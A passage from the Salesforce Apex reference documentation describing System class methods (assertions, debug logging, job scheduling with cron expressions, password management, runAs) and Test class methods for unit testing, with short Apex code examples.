public static Void assert(Boolean condition, Object msg)
2613
System ClassReference
Parameters
condition
Type: Boolean
msg
Type: Object
(Optional) Custom message returned as part of the error message.
Return Value
Type: Void
Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.
assertEquals(expected, actual, msg)
Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.
Signature
public static Void assertEquals(Object expected, Object actual, Object msg)
Parameters
expected
Type: Object
Specifies the expected value.
actual
Type: Object
Specifies the actual value.
msg
Type: Object
(Optional) Custom message returned as part of the error message.
Return Value
Type: Void
Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.
assertNotEquals(expected, actual, msg)
Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.
2614
System ClassReference
Signature
public static Void assertNotEquals(Object expected, Object actual, Object msg)
Parameters
expected
Type: Object
Specifies the expected value.
actual
Type: Object
Specifies the actual value.
msg
Type: Object
(Optional) Custom message returned as part of the error message.
Return Value
Type: Void
Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.
currentPageReference()
Returns a reference to the current page. This is used with Visualforce pages.
Signature
public static System.PageReference currentPageReference()
Return Value
Type: System.PageReference
Usage
For more information, see PageReference Class.
currentTimeMillis()
Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1, 1970
UTC.
Signature
public static Long currentTimeMillis()
2615
System ClassReference
Return Value
Type: Long
debug(msg)
Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.
Signature
public static Void debug(Object msg)
Parameters
msg
Type: Object
Return Value
Type: Void
Usage
If the msg argument is not a string, the debug method calls String.valueOf to convert it into a string. The String.valueOf
method calls the toString method on the argument, if available, or any overridden toString method if the argument is a
user-defined type. Otherwise, if no toString method is available, it returns a string representation of the argument.
If the log level for Apex Code is set to DEBUG or higher, the message of this debug statement will be written to the debug log.
Note that when a map or set is printed, the output is sorted in key order and is surrounded with square brackets ([]). When an array or
list is printed, the output is enclosed in parentheses (()).
Note: Calls to System.debug are not counted as part of Apex code coverage.Calls to System.debug are not counted as part
of Apex code coverage.
For more information on log levels, see “Debug Log Levels” in the Salesforce online help.
debug(logLevel, msg)
Writes the specified message, in string format, to the execution debug log with the specified log level.
Signature
public static Void debug(LoggingLevel logLevel, Object msg)
Parameters
logLevel
Type: System.LoggingLevel
The logging level to set for this method.
msg
Type: Object
2616
System ClassReference
The message or object to write in string format to the execution debug log.
Return Value
Type: Void
Usage
If the msg argument is not a string, the debug method calls String.valueOf to convert it into a string. The String.valueOf
method calls the toString method on the argument, if available, or any overridden toString method if the argument is a
user-defined type. Otherwise, if no toString method is available, it returns a string representation of the argument.
Note: Calls to System.debug are not counted as part of Apex code coverage.
System Logging Levels
Use the loggingLevel enum to specify the logging level for the debug method.
Valid log levels are (listed from lowest to highest):
•NONE
•ERROR
•WARN
•INFO
•DEBUG
•FINE
•FINER
•FINEST
Log levels are cumulative. For example, if the lowest level, ERROR, is specified for Apex Code, only debug methods with the log level
of ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR or WARN.
In the following example, the string MsgTxt is not written to the debug log because the log level is ERROR and the debug method
has a level of INFO:
System.LoggingLevel level = LoggingLevel.ERROR;
System.debug(logginglevel.INFO, 'MsgTxt');
For more information on log levels, see “Debug Log Levels” in the Salesforce online help.
enqueueJob(queueableObj)
Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.
Signature
public static ID enqueueJob(Object queueableObj)
2617
System ClassReference
Parameters
queueableObj
Type: Object
An instance of the class that implements the Queueable Interface.
Return Value
Type: ID
The job ID, which corresponds to the ID of an AsyncApexJob record.
Usage
To add a job for asynchronous execution, call System.enqueueJob by passing in an instance of your class implementation of the
Queueable interface for execution as follows:
ID jobID = System.enqueueJob(new MyQueueableClass());
For more information about Queueable Apex, including information about limits, see Queueable Apex.
equals(obj1, obj2)
Returns true if both arguments are equal. Otherwise, returns false.
Signature
public static Boolean equals(Object obj1, Object obj2)
Parameters
obj1
Type: Object
Object being compared.
obj2
Type: Object
Object to compare with the first argument.
Return Value
Type: Boolean
Usage
obj1 and obj2 can be of any type. They can be values, or object references, such as sObjects and user-defined types.
The comparison rules for System.equals are identical to the ones for the == operator. For example, string comparison is case
insensitive. For information about the comparison rules, see the == operator.
getApplicationReadWriteMode()
Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.
2618
System ClassReference
Signature
public static System.ApplicationReadWriteMode getApplicationReadWriteMode()
Return Value
Type: System.ApplicationReadWriteMode
Valid values are:
•DEFAULT
•READ_ONLY
Using the System.ApplicationReadWriteMode Enum
Use the System.ApplicationReadWriteMode enum returned by the getApplicationReadWriteMode to
programmatically determine if the application is in read-only mode during Salesforce upgrades and downtimes.
Valid values for the enum are:
•DEFAULT
•READ_ONLY
Example:
public class myClass {
public static void execute() {
ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();
if (mode == ApplicationReadWriteMode.READ_ONLY) {
// Do nothing. If DML operaton is attempted in readonly mode,
// InvalidReadOnlyUserDmlException will be thrown.
}else if (mode == ApplicationReadWriteMode.DEFAULT) {
Account account = new Account(name = 'my account');
insert account;
}
}
}
hashCode(obj)
Returns the hash code of the specified object.
Signature
public static Integer hashCode(Object obj)
Parameters
obj
Type: Object
The object to get the hash code for. This parameter can be of any type, including values or object references, such as sObjects or
user-defined types.
2619
System ClassReference
Return Value
Type: Boolean
isBatch()
Returns true if a batch Apex job invoked the executing code, or false if not. In API version 35.0 and earlier, also returns true if
a queueable Apex job invoked the code.
Signature
public static Boolean isBatch()
Return Value
Type: Boolean
Usage
A batch Apex job can’t invoke a future method. Before invoking a future method, use isBatch() to check whether the executing
code is a batch Apex job.
isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false otherwise.
Signature
public static Boolean isFuture()
Return Value
Type: Boolean
Usage
Since a future method can't be invoked from another future method, use this method to check if the current code is executing within
the context of a future method before you invoke a future method.
isQueueable()
Returns true if a queueable Apex job invoked the executing code. Returns false if not, including if a batch Apex job or a future
method invoked the code.
Signature
public static Boolean isQueueable()
Return Value
Type: Boolean
2620
System ClassReference
Usage
public class SimpleQueueable implements Queueable {
String name;
public SimpleQueueable(String name) {
this.name = name;
System.assert(!System.isQueueable()); //Should return false
}
public void execute(QueueableContext ctx) {
Account testAccount = new Account();
testAccount.name = 'testAcc';
insert(testAccount);
System.assert(System.isQueueable()); //Should return true
}
}
global class ComplexBatch implements Database.Batchable<SObject> {
global Database.QueryLocator start(Database.BatchableContext info) {
System.assert(!System.isQueueable()); //Should return false
return Database.getQueryLocator([SELECT Id, Name FROM Account LIMIT 1]);
}
global void execute(Database.BatchableContext info, SObject[] scope) {
System.assert(!System.isQueueable()); //Should return false
System.enqueueJob(new SimpleQueueable('CallingFromComplexBatch'));
System.assert(!System.isQueueable()); //Should return false
}
global void finish(Database.BatchableContext info) {
System.assert(!System.isQueueable()); //Should return false
}
}
isScheduled()
Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.
Signature
public static Boolean isScheduled()
Return Value
Type: Boolean
movePassword(targetUserId,sourceUserId)
Moves the specified user’s password to a different user.
2621
System ClassReference
Signature
public static Void movePassword(ID targetUserId, ID sourceUserId)
Parameters
targetUserId
Type: ID
The user that the password is moved to.
sourceUserId
Type: ID
The user that the password is moved from.
Return Value
Type: Void
Usage
Moving a password simplifies converting a user to another type of user, such as when converting an external user to a user with less
restrictive access. If you require access to the movePassword method, contact Salesforce.
Keep in mind these requirements.
•The targetUserId, sourceUserId, and user performing the move operation must all belong to the same Salesforce org.
•The targetUserId and the sourceUserId cannot be the same as the user performing the move operation.
•A user without a password can’t be specified as the sourceUserId. For example, a source user who has already had their
password moved is left without a password. That user can’t be a source user again.
After the password is moved:
•The target user can log in with the password.
•The source user no longer has a password. To enable logins for this user, a password reset is required.
now()
Returns the current date and time in the GMT time zone.
Signature
public static Datetime now()
Return Value
Type: Datetime
process(workItemIds, action, comments, nextApprover)
Processes the list of work item IDs.
2622
System ClassReference
Signature
public static List<Id> process(List<Id> workItemIds, String action, String comments,
String nextApprover)
Parameters
workItemIds
Type: List<Id>
action
Type: String
comments
Type: String
nextApprover
Type: String
Return Value
Type: List<Id>
purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted, or
Failed status, and returns the number of records deleted.
Signature
public static Integer purgeOldAsyncJobs(Date dt)
Parameters
dt
Type: Date
Specifies the date up to which old records are deleted. The date comparison is based on the CompletedDate field of AsyncApexJob,
which is in the GMT time zone.
Return Value
Type: Integer
Usage
Asynchronous Apex job records are records in AsyncApexJob.
The system cleans up asynchronous job records for jobs that have finished execution and are older than seven days. You can use this
method to further reduce the size of AsyncApexJob by cleaning up more records.
Each execution of this method counts as a single row against the governor limit for DML statements.
2623
System ClassReference
Example
This example shows how to delete all job records for jobs that have finished before today’s date.
Integer count = System.purgeOldAsyncJobs
(Date.today());
System.debug('Deleted ' +
count + ' old jobs.');
requestVersion()
Returns a two-part version that contains the major and minor version numbers of a package.
Signature
public static System.Version requestVersion()
Return Value
Type: System.Version
Usage
Using this method, you can determine the version of an installed instance of your package from which the calling code is referencing
your package. Based on the version that the calling code has, you can customize the behavior of your package code.
The requestVersion method isn’t supported for unmanaged packages. If you call it from an unmanaged package, an exception
will be thrown.
resetPassword(userId, sendUserEmail)
Resets the password for the specified user.
Signature
public static System.ResetPasswordResult resetPassword(ID userId, Boolean sendUserEmail)
Parameters
userId
Type: ID
sendUserEmail
Type: Boolean
Return Value
Type: System.ResetPasswordResult
Usage
When the user logs in with the new password, they are prompted to enter a new password, and to select a security question and answer
if they haven't already. If you specify true for sendUserEmail, the user is sent an email notifying them that their password was
2624
System ClassReference
reset. A link to sign onto Salesforce using the new password is included in the email. Use setPassword(userId, password)
if you don't want the user to be prompted to enter a new password when they log in.
Warning: Be careful with this method, and do not expose this functionality to end-users.
runAs(version)
Changes the current package version to the package version specified in the argument.
Signature
public static Void runAs(System.Version version)
Parameters
version
Type: System.Version
Return Value
Type: Void
Usage
A package developer can use Version methods to continue to support existing behavior in classes and triggers in previous package
versions while continuing to evolve the code. Apex classes and triggers are saved with the version settings for each installed managed
package that the class or trigger references.
This method is used for testing your component behavior in different package versions that you upload to the AppExchange. This method
effectively sets a two-part version consisting of major and minor numbers in a test method so that you can test the behavior for different
package versions.
You can only use runAs in a test method. There is no limitation to the number of calls to this method in a transaction. For sample
usage of this method, see Testing Behavior in Package Versions.
runAs(userSObject)
Changes the current user to the specified user.
Signature
public static Void runAs(User userSObject)
Parameters
userSObject
Type: User
Return Value
Type: Void
2625
System ClassReference
Usage
All of the specified user's record sharing is enforced during the execution of runAs. You can only use runAs in a test method. For
more information, see Using the runAs Method on page 573.
Note: The runAs method ignores user license limits. You can create new users with runAs even if your organization has no
additional user licenses.
The runAs method implicitly inserts the user that is passed in as parameter if the user has been instantiated, but not inserted yet.
You can also use runAs to perform mixed DML operations in your test by enclosing the DML operations within the runAs block. In
this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with other
sObjects. See sObjects That Cannot Be Used Together in DML Operations.
Note: Every call to runAs counts against the total number of DML statements issued in the process.
schedule(jobName, cronExpression, schedulableClass)
Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified
by a Cron expression.
Signature
public static String schedule(String jobName, String cronExpression, Object
schedulableClass)
Parameters
jobName
Type: String
cronExpression
Type: String
schedulableClass
Type: Object
Return Value
Type: String
Returns the scheduled job ID (CronTrigger ID).
Usage
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more
scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface,
and all cases where more than one record can be updated at a time. Use the abortJob method to stop the job after it has been
scheduled.
Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
2626
System ClassReference
Using the System.Schedule Method
After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler
runs as system—all classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the
job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year
Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
The following are the values for the expression:
Special CharactersValuesName
None0Seconds
None0Minutes
None0–23Hours
,-*?/LW1–31Day_of_month
,-*/1–12 or the following:Month
•JAN
•FEB
•MAR
•APR
•MAY
•JUN
•JUL
•AUG
•SEP
•OCT
•NOV
•DEC
,-*?/L#1–7 or the following:Day_of_week
•SUN
•MON
•TUE
•WED
2627
System ClassReference
Special CharactersValuesName
•THU
•FRI
•SAT
,-*/null or 1970–2099optional_year
The special characters are defined as follows:
DescriptionSpecial Character
Delimits values. For example, use JAN, MAR, APR to specify more than one month.,
Specifies a range. For example, use JAN-MAR to specify more than one month.-
Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.
*
Specifies no specific value. This is only available for Day_of_month and
Day_of_week, and is generally used when specifying a value for one and not the
other.
?
Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
/
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.
Specifies the end of a range (last). This is only available for Day_of_month and
Day_of_week. When used with Day of month, L always means the last day
L
of the month, such as January 31, February 29 for leap years, and so on. When used
with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you are specifying the last Monday of the month. Do not use a range
of values with L as the results might be unexpected.
Specifies the nearest weekday (Monday-Friday) of the given day. This is only available
for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday,
W
the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does
not run in the previous month, but on the third, which is the following Monday.
Tip: Use the L and W together to specify the last weekday of the month.
Specifies the nth day of the month, in the format weekday#day_of_month.
This is only available for Day_of_week. The number before the # specifies weekday
#
(SUN-SAT). The number after the # specifies the day of the month. For example,
specifying 2#2 means the class runs on the second Monday of every month.
The following are some examples of how to use the expression.
2628
System ClassReference
DescriptionExpression
Class runs every day at 1 PM.0013**?
Class runs the last Friday of every month at 10 PM.0 0 22 ? * 6L
Class runs Monday through Friday at 10 AM.0 0 10 ? * MON-FRI
Class runs every day at 8 PM during the year 2010.0 0 20 * * ? 2010
In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM,
on the 13th of February.
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);
scheduleBatch(batchable, jobName, minutesFromNow)
Schedules a batch job to run once in the future after the specified time interval and with the specified job name.
Signature
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer
minutesFromNow)
Parameters
batchable
Type: Database.Batchable
An instance of a class that implements the Database.Batchable interface.
jobName
Type: String
The name if the job that this method will start.
minutesFromNow
Type: Integer
The time interval in minutes after which the job should start executing. This argument must be greater than zero.
Return Value
Type: String
The scheduled job ID (CronTrigger ID).
Usage
Note: Some things to note about System.scheduleBatch:
•When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
2629
System ClassReference
•The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
•When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
•All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
•After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.
For an example, see Using the System.scheduleBatch Method.
scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)
Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size. Returns
the scheduled job ID (CronTrigger ID).
Signature
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer
minutesFromNow, Integer scopeSize)
Parameters
batchable
Type: Database.Batchable
The batch class that implements the Database.Batchable interface.
jobName
Type: String
The name of the job that this method will start.
minutesFromNow
Type: Integer
The time interval in minutes after which the job should start executing.
scopeSize
Type: Integer
The number of records that should be passed to the batch execute method.
Return Value
Type: String
Usage
Note: Some things to note about System.scheduleBatch:
•When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
•The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
2630
System ClassReference
•When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
•All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
•After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.
For an example, see Using the System.scheduleBatch Method.
setPassword(userId, password)
Sets the password for the specified user.
Signature
public static Void setPassword(ID userId, String password)
Parameters
userId
Type: ID
password
Type: String
Return Value
Type: Void
Usage
When the user logs in with this password, they are not prompted to create a new password. Use resetPassword(userId,
sendUserEmail) if you want the user to go through the reset process and create their own password.
Warning: Be careful with this method, and do not expose this functionality to end-users.
submit(workItemIds, comments, nextApprover)
Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to the
current user.
Signature
public static List<ID> submit(List<ID> workItemIds, String comments, String nextApprover)
Parameters
workItemIds
Type: List<ID>
2631
System ClassReference
comments
Type: String
nextApprover
Type: String
Return Value
Type: List<ID>
Usage
For enhanced submit and evaluation features, see the ProcessSubmitRequest class.
today()
Returns the current date in the current user's time zone.
Signature
public static Date today()
Return Value
Type: Date
Test Class
Contains methods related to Visualforce tests.
Namespace
System
Test Methods
The following are methods for Test. All methods are static.
IN THIS SECTION:
createStub(parentType, stubProvider)
Creates a stubbed version of an Apex class that you can use for testing. This method is part of the Apex stub API. You can use it with
the System.StubProvider interface to create a mocking framework.
enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the
maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex
queue exceeds the allowed limit of 100 jobs.
2632
Test ClassReference
getFlexQueueOrder()
Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method
returns only test-context results, even if it’s annotated with @IsTest(SeeAllData=true).
getStandardPricebookId()
Returns the ID of the standard price book in the organization.
invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.
isRunningTest()
Returns true if the currently executing code was called by code contained in a test method, false otherwise. Use this method
if you need to run different code depending on whether it was being called from a test.
loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted
sObjects.
newSendEmailQuickActionDefaults(contextId, replyToId)
Creates a new QuickAction.SendEmailQuickActionDefaults instance for testing a class implementing the
QuickAction.QuickActionDefaultsHandler interface.
setContinuationResponse(requestLabel, mockResponse)
Sets a mock response for a continuation HTTP request in a test method.
setCreatedDate(recordId, createdDatetime)
Sets CreatedDate for a test-context sObject.
setCurrentPage(page)
A Visualforce test method that sets the current PageReference for the controller.
setCurrentPageReference(page)
A Visualforce test method that sets the current PageReference for the controller.
setFixedSearchResults(setSearchResults)
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.
setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the
HTTP classes or the auto-generated code from WSDLs.
setReadOnlyApplicationMode(applicationMode)
Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades
and downtimes. The application mode is reset to the default mode at the end of each Apex test run.
startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.
stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method.
testInstall(installImplementation, version, isPush)
Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as
the test initiator in the development environment.
testUninstall(uninstallImplementation)
Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as
the test initiator in the development environment.
2633
Test ClassReference
createStub(parentType, stubProvider)
Creates a stubbed version of an Apex class that you can use for testing. This method is part of the Apex stub API. You can use it with the
System.StubProvider interface to create a mocking framework.
Signature
public static Object createStub(System.Type parentType, System.StubProvider stubProvider)
Parameters
parentType
Type: System.Type
The type of the Apex class to be stubbed.
stubProvider
System.StubProvider
An implementation of the StubProvider interface.
Return Value
Type: Object
Returns the stubbed object to use in testing.
Usage
The createStub() method works together with the System.StubProvider interface. You define the behavior of the stubbed
object by implementing the StubProvider interface. Then you create a stubbed object using the createStub() method.
When you invoke methods on the stubbed object, the handleMethodCall() method of the StubProvider interface is called
to perform the behavior of the stubbed method.
SEE ALSO:
StubProvider Interface
Build a Mocking Framework with the Stub API
enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the
maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex queue
exceeds the allowed limit of 100 jobs.
Signature
public static List<Id> enqueueBatchJobs(Integer numberOfJobs)
Parameters
numberOfJobs
Type: Integer
2634
Test ClassReference
Number of test jobs to enqueue.
Return Value
Type: List<Id>
A list of IDs of enqueued test jobs.
Usage
Use this method to reduce testing time. Instead of using your org's real batch jobs for testing, you can use this method to simulate
batch-job enqueueing. Using enqueueBatchJobs(numberOfJobs) is faster than enqueuing real batch jobs.
getFlexQueueOrder()
Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method
returns only test-context results, even if it’s annotated with @IsTest(SeeAllData=true).
Signature
public static List<Id> getFlexQueueOrder()
Return Value
Type: List<Id>
An ordered list of IDs of the jobs in the test’s flex queue.
getStandardPricebookId()
Returns the ID of the standard price book in the organization.
Signature
public static Id getStandardPricebookId()
Return Value
Type: Id
The ID of the standard price book.
Usage
This method returns the ID of the standard price book in your organization regardless of whether the test can query organization data.
By default, tests can’t query organization data unless they’re annotated with @isTest(SeeAllData=true).
Creating price book entries with a standard price requires the ID of the standard price book. Use this method to get the standard price
book ID so that you can create price book entries in your tests.
2635
Test ClassReference
Example
This example creates some test data for price book entries. The test method in this example gets the standard price book ID and uses
this ID to create a price book entry for a product with a standard price. Next, the test creates a custom price book and uses the ID of this
custom price book to add a price book entry with a custom price.
@isTest
public class PriceBookTest {
// Utility method that can be called by Apex tests to create price book entries.
static testmethod void addPricebookEntries() {
// First, set up test price book entries.
// Insert a test product.
Product2 prod = new Product2(Name = 'Laptop X200',
Family = 'Hardware');
insert prod;
// Get standard price book ID.
// This is available irrespective of the state of SeeAllData.
Id pricebookId = Test.getStandardPricebookId();
// 1. Insert a price book entry for the standard price book.
// Standard price book entries require the standard price book ID we got earlier.
PricebookEntry standardPrice = new PricebookEntry(
Pricebook2Id = pricebookId, Product2Id = prod.Id,
UnitPrice = 10000, IsActive = true);
insert standardPrice;
// Create a custom price book
Pricebook2 customPB = new Pricebook2(Name='Custom Pricebook', isActive=true);
insert customPB;
// 2. Insert a price book entry with a custom price.
PricebookEntry customPrice = new PricebookEntry(
Pricebook2Id = customPB.Id, Product2Id = prod.Id,
UnitPrice = 12000, IsActive = true);
insert customPrice;
// Next, perform some tests with your test price book entries.
}
}
invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.
Signature
public static Object invokeContinuationMethod(Object controller, Continuation request)
Parameters
controller
Type: Object
2636
Test ClassReference
An instance of the controller class that invokes the continuation request.
request
Type: Continuation
The continuation that is returned by an action method in the controller class.
Return Value
Type: Object
The response of the continuation callback method.
Usage
Use the Test.setContinuationResponse and Test.invokeContinuationMethod methods to test continuations.
In test context, callouts of continuations aren’t sent to the external service. By using these methods, you can set a mock response and
cause the runtime to call the continuation callback method to process the mock response.
Call Test.setContinuationResponse before you call Test.invokeContinuationMethod. When you call
Test.invokeContinuationMethod, the runtime executes the callback method that is associated with the continuation. The
callback method processes the mock response that is set by Test.setContinuationResponse.
isRunningTest()
Returns true if the currently executing code was called by code contained in a test method, false otherwise. Use this method if
you need to run different code depending on whether it was being called from a test.
Signature
public static Boolean isRunningTest()
Return Value
Type: Boolean
loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted sObjects.
Signature
public static List<sObject> loadData(Schema.SObjectType sObjectToken, String
resourceName)
Parameters
sObjectToken
Type: Schema.SObjectType
The sObject type for which to insert test records.
resourceName
Type: String
2637
Test ClassReference
The static resource that corresponds to the .csv file containing the test records to load. The name is case insensitive.
Return Value
Type: List<sObject>
Usage
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension.
The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines
are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:
•text/csv
•application/vnd.ms-excel
•application/octet-stream
•text/plain
newSendEmailQuickActionDefaults(contextId, replyToId)
Creates a new QuickAction.SendEmailQuickActionDefaults instance for testing a class implementing the
QuickAction.QuickActionDefaultsHandler interface.
Signature
public static QuickAction.SendEmailQuickActionDefaults newSendEmailQuickActionDefaults(ID
contextId, ID replyToId)
Parameters
contextId
Type: Id
Parent record of the email message.
replyToId
Type: Id
Previous email message ID if this email message is a reply.
Return Value
Type: SendEmailQuickActionDefaults Class
The default values used for an email message quick action.
setContinuationResponse(requestLabel, mockResponse)
Sets a mock response for a continuation HTTP request in a test method.
2638
Test ClassReference
Signature
public static void setContinuationResponse(String requestLabel, System.HttpResponse
mockResponse)
Parameters
requestLabel
Type: String
The unique label that corresponds to the continuation HTTP request. This label is returned by
Continuation.addHttpRequest.
mockResponse
Type: HttpResponse
The fake response to be returned by Test.invokeContinuationMethod.
Return Value
Type: void
Usage
Use the Test.setContinuationResponse and Test.invokeContinuationMethod methods to test continuations.
In test context, callouts of continuations aren’t sent to the external service. By using these methods, you can set a mock response and
cause the runtime to call the continuation callback method to process the mock response.
Call Test.setContinuationResponse before you call Test.invokeContinuationMethod. When you call
Test.invokeContinuationMethod, the runtime executes the callback method that is associated with the continuation. The
callback method processes the mock response that is set by Test.setContinuationResponse.
setCreatedDate(recordId, createdDatetime)
Sets CreatedDate for a test-context sObject.
Signature
public static void setCreatedDate(Id recordId, Datetime createdDatetime)
Parameters
recordId
Type: Id
The ID of an sObject.
createdDatetime
Type: Datetime
The value to assign to the sObject’s CreatedDate field.
Return Value
Type: void
2639
Test ClassReference
Usage
All database changes are rolled back at the end of a test. You can’t use this method on records that existed before your test executed.
You also can’t use setCreatedDate in methods annotated with @isTest(SeeAllData=true), because those methods
have access to all data in your org. This method takes two parameters—an sObject ID and a Datetime value—neither of which can be
null.
Insert your test record before you set its CreatedDate, as shown in this example.
@isTest
private class SetCreatedDateTest {
static testMethod void testSetCreatedDate() {
Account a = new Account(name='myAccount');
insert a;
Test.setCreatedDate(a.Id, DateTime.newInstance(2012,12,12));
Test.startTest();
Account myAccount = [SELECT Id, Name, CreatedDate FROM Account
WHERE Name ='myAccount' limit 1];
System.assertEquals(myAccount.CreatedDate, DateTime.newInstance(2012,12,12));
Test.stopTest();
}
}
setCurrentPage(page)
A Visualforce test method that sets the current PageReference for the controller.
Signature
public static Void setCurrentPage(PageReference page)
Parameters
page
Type: System.PageReference
Return Value
Type: Void
setCurrentPageReference(page)
A Visualforce test method that sets the current PageReference for the controller.
Signature
public static Void setCurrentPageReference(PageReference page)
Parameters
page
Type: System.PageReference
2640
Test ClassReference
Return Value
Type: Void
setFixedSearchResults(setSearchResults)
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.
Signature
public static Void setFixedSearchResults(ID[] setSearchResults)
Parameters
setSearchResults
Type: ID[]
The list of record IDs specified by opt_set_search_results replaces the results that would normally be returned by the
SOSL queries if they were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL queries, they are applied
to the list of fixed search results.
Return Value
Type: Void
Usage
If opt_set_search_results is not specified, all subsequent SOSL queries return no results.
For more information, see Adding SOSL Queries to Unit Tests on page 575.
setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the HTTP
classes or the auto-generated code from WSDLs.
Signature
public static Void setMock(Type interfaceType, Object instance)
Parameters
interfaceType
Type: System.Type
instance
Type: Object
Return Value
Type: Void
2641
Test ClassReference
Usage
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
setReadOnlyApplicationMode(applicationMode)
Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades and
downtimes. The application mode is reset to the default mode at the end of each Apex test run.
Signature
public static Void setReadOnlyApplicationMode(Boolean applicationMode)
Parameters
applicationMode
Type: Boolean
Return Value
Type: Void
Usage
Also see the getApplicationReadWriteMode() System method.
Do not use setReadOnlyApplicationMode for purposes unrelated to Read-Only Mode testing, such as simulating DML
exceptions.
Example
The following example sets the application mode to read-only and attempts to insert a new account record, which results in the exception.
It then resets the application mode and performs a successful insert.
@isTest
private class ApplicationReadOnlyModeTestClass {
public static testmethod void test() {
// Create a test account that is used for querying later.
Account testAccount = new Account(Name = 'TestAccount');
insert testAccount;
// Set the application read only mode.
